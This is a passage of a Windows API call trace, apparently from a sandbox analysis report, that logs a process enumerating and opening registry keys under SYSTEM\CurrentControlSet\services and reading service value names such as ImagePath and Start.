dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0236.299] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0236.299] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0236.300] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0236.301] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0236.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0236.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0236.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0236.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0236.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0236.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0236.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0236.309] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0236.309] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0236.309] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0236.309] RegCloseKey (hKey=0x150) returned 0x0 [0236.309] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0236.309] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0236.309] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0236.309] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0236.309] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0236.309] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0236.309] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0236.309] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0236.309] RegCloseKey (hKey=0x80000002) returned 0x0 [0236.309] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0236.309] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0236.310] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.310] RegCloseKey (hKey=0xc4) returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0236.310] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0236.311] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0236.311] RegCloseKey (hKey=0x150) returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0236.311] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.312] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.313] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, 